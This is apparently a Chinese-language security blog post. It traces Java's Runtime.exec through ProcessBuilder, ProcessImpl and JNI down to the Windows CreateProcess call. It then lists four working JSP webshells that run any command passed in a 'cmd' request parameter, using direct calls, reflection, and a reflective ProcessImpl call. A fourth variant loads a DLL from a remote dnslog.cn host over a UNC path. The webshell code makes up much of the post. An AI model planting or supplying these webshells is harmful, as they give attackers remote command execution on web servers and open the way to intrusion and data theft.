跟踪Runtime类exec方法的底层实现到JSP WEBSHELL的几种实现形式

jspwebshell的实现形式有很多,这里只是根据Runtime.exec方法联想到的几种实现,后面的文章会进行其他方法的实现。
首先这是最基本的通过Runtime类的exec方法来执行任意命令:

<%
    String cmd = request.getParameter("cmd");
    java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
    byte[] b = new byte[2048];
    out.print("<pre>");
    while(in.read(b)!=-1){
        out.print(new String(b));
    }
    out.print("<pre>");
%>

然后是通过反射Runtime类来执行命令:

<%
    String cmd = request.getParameter("cmd");
    Class clazz = Class.forName("java.lang.Runtime");
    java.lang.reflect.Constructor constructor = clazz.getDeclaredConstructor();
    constructor.setAccessible(true);
    Object runtime = constructor.newInstance();
    java.lang.reflect.Method exec = clazz.getMethod("exec",String.class);
    Process p = (Process)exec.invoke(runtime,cmd);
    java.io.InputStream in = p.getInputStream();
    byte[] b = new byte[2048];
    out.print("<pre>");
    while(in.read(b)!=-1){
        out.print(new String(b);
    }
    out.print("</pre>");
%>

Runtime类的exec方法的实现,跟一下:

跟到ProcessBuilder类里面,看start方法:

image-20220219224057498

start方法里面返回了ProcessImpl的start方法执行的结果,跟进:

image-20220219224236200

在这里创建了一个ProcessImpl实例,跟进他的构造方法:

image-20220219224404447

构造方法流程里面最终调用了create方法,跟进:

image-20220219224511767

这个方法是使用win32函数CreateProcess创建一个进程(我也是在注释里找到的)

现在exec的底层执行原理已经搞明白了,最终是使用JNI(不了解的同学自行百度)调用WindowsAPI实现的命令执行,Linux下也同理。

从java执行命令的流程能够分析出,可以从ProcessBuilder处实现命令执行构造webshell,可以从ProcessImpl处实现命令执行构造webshell,也可以直接使用JNI实现命令执行。

就列出来一个例子吧,反射调用ProcessImpl的webshell:

<%
    String[] cmd = {request.getParameter("cmd")};
    long[] longs = new long[]{-1,-1,-1};
    Class clazz = Class.forName("java.lang.ProcessImpl");
    java.lang.reflect.Method method = clazz.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    method.setAccessible(true); 
    Process p = (Process) method.invoke(null, cmd, null, ".", null, true);
    java.io.InputStream in = p.getInputStream();
    byte[] b = new byte[2048];
    out.print("<pre>");
    while(in.read(b)!=-1){
        out.print(new String(b));
    }
    out.print("<pre>");
%>

加载远程dll使用JNI调用命令执行方法的webshell:

<%!
    class JNI{
        public native String exec(String str);
    }
%>
<%
    System.load("\\\\nprv9u.dnslog.cn\\exec.dll");
    String cmd = request.getParameter("cmd");
    JNI jni = new JNI();
    String res = jni.exec(cmd);
    out.println(res);
%>

以上就是根据Runtime的exec方法执行命令联想到的webshell的几种实现形式。